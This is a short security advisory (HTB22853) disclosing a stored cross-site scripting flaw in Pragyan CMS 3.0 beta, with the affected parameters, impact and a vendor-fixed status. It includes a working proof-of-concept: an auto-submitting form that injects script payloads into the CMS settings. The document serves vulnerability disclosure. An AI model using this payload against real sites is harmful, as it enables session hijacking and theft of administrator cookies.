HTB22853: XSS vulnerability in Pragyan CMS


Vulnerability ID: HTB22853 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pragyan_cms.html Product: Pragyan CMS Vendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ ) Vulnerable Version: v.3.0 beta Vendor Notification: 17 February 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "cms/admin.lib.php" script to properly sanitize user-supplied input in "cms_desc", "cms_keywords", "cms_footer" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/?page=/&action=admin&subaction=global" method="post" name="main"> <input type="hidden" name="cms_title" value="Pragyan CMS"> <input type="hidden" name="cms_desc" value='desc3"><script>alert(document.cookie)</script>'> <input type="hidden" name="cms_keywords" value='Pragyan CMS"><script>alert(document.cookie)</script>'> <input type="hidden" name="cms_footer" value='Powered by Praygan CMS"><script>alert(document.cookie)</script>'> <input type="hidden" name="cms_email" value="email@example.com"> <input type="hidden" name="default_template" value="crystalx"> <input type="hidden" name="update_global_settings" value=""> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version